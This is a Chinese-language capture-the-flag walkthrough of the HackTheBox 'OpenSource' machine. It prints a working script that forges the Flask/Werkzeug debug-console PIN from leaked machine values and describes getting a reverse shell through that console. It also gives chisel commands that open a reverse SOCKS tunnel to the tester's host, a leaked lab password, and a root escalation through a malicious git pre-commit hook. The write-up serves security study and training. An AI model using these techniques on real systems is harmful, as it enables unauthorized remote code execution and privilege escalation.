HackTheBox 靶场 OpenSource
一、信息收集
1.使用nmap对目标靶机进行端口扫描
发现开了 22、 80 和 3000 端口。
2. 80 端口
查看页面:
download 有个压缩包:
是 docker 的文件。点击 Take me there:
是文件上传:
发现能上传,并且能下载下来,除此之外没有没有其他效果,不过它并没有改我的文件名,删除文件名,上传一个空文件名的文件:
发现报错了,看一下报错信息里有什么提示:
说 console 已经锁定了,要 PIN 码,输出并打印 PIN 码就能得到 shell,console? 推测大概是目录,尝试访问一下:
这是flask应用开启了debug模式后运行出错的页面,flask 的 PIN 码,记得BUUCTF中也有类似的 CTF题。
二、漏洞利用
关于 Flask PIN 码的生成流程可以看下这篇文章:
https://www.cnblogs.com/HacTF/p/8160076.html
生成PIN码的值由:用户名、flask.app、Flask、app.pyc、str(uuid.getnode())(mac地址)、get_machine_id() 组合获得,现在已知的:
用户名:root:
flask.app:总是 flask.app
Flask:总是 Flask
app.pyc:/usr/local/lib/python3.10/site-packages/flask/app.p (在报错信息中找)
str(uuid.getnode()), 是在 /sys/class/net/ens33/address 中;
get_machine_id() 在 /etc/machine-id 中或 /proc/sys/kernel/random/boot_id 中的值 + /proc/self/cgroup中的字符串
str(uuid.getnode()) 和 get_machine_id()需要借助 LFI 才能查看,找找 LFI:
正好下载的压缩包中有提示:
../ 被过滤了,同时此目录下还有个文件:
有个 uploads 路劲,结合这两个信息获取 str(uuid.getnode()):
这里需要注意的是靶机的网卡名字,一般就那几个名字,挨个试试就行。
get_machine_id() = /proc/sys/kernel/random/boot_id + /proc/self/cgroup (因为没有 /etc/machine-id):
从上图也能看出是 docker 环境,至此所需要计算 PIN 的数据都得到了,利用脚本破解,网上的脚本很多(注意 str(uuid.getnode()) 要用 mac 地址的十进制),Flask PIN 更新后脚本稍有改动,用的是 sha1,不再是之前的md5:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892356', # str(uuid.getnode()), /sys/class/net/eth0/address
'9aaff454-1971-4a55-9283-99619dd97f66d0e45cf868b3eac232730dc1338d481dcca0ae30587064ab0b236b5389e54a38' # /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
运行得到 PIN 码,进入控制台:
提示说可以运行 python,那就写一个 python 的反弹 shell:
并 nc 监听:
连接成功,我使用 CDK 对容器进行了扫描,看有哪些可以逃逸的漏洞:
尝试利用:
都不得行,不过在 shell 中我发现一直会出现这个:
然后又想起来还有个 3000 端口,大概和这个有关,用 nc 进行探测:
发现 172.17.0.1 的 3000 端口是开着的,可是在现在的容器并不能满足访问的条件,我使用socket代理进行访问,先在docker中装一个客户端,用 chisel:
在本地机上:
./chisel server --reverse --port 1235
在靶机的docker中:
./chisel client 10.10.14.50:1235 R:socks
在本地及上配置 proxychains 的配置文件,添加上 127.0.0.1:1080 :
用 proxychains 代理 nmap 扫一下端口:
开着22、80、3000端口。用 proxychains 代理 firefox 访问一下:
80 上什么也没有,3000 上有页面:
查看 Explore 发现一个 dev01 用户:
然而并不知道密码,不过也能想到应该在之前下载文件的 git 中,查看分支发现 git 中有两个分支:
目前在 public 分支中,看一下 dev 分支:
diff 看一下:
找到了密码:dev01:Soulless_Developer#2022。登录到 dev01:
/home-backup 下有东西:
.ssh 中有密钥:
下载或复制下来 ssh 连接:
三、提权
查看权限和SUID文件:
没什么发现。linpeas 跑了也没发现,上 pspy:
观察了一会发现隔一段时间以 root 运行一边 git,那可以更改 commit 命令的配置,往其中写入 shell,那就得到了 root,可以使用 ~/.git/hooks/pre-commit.sample 样本文件:
我尝试往其中写入 shell 并重命名为pre-commit:
nc 监听:
得到 root。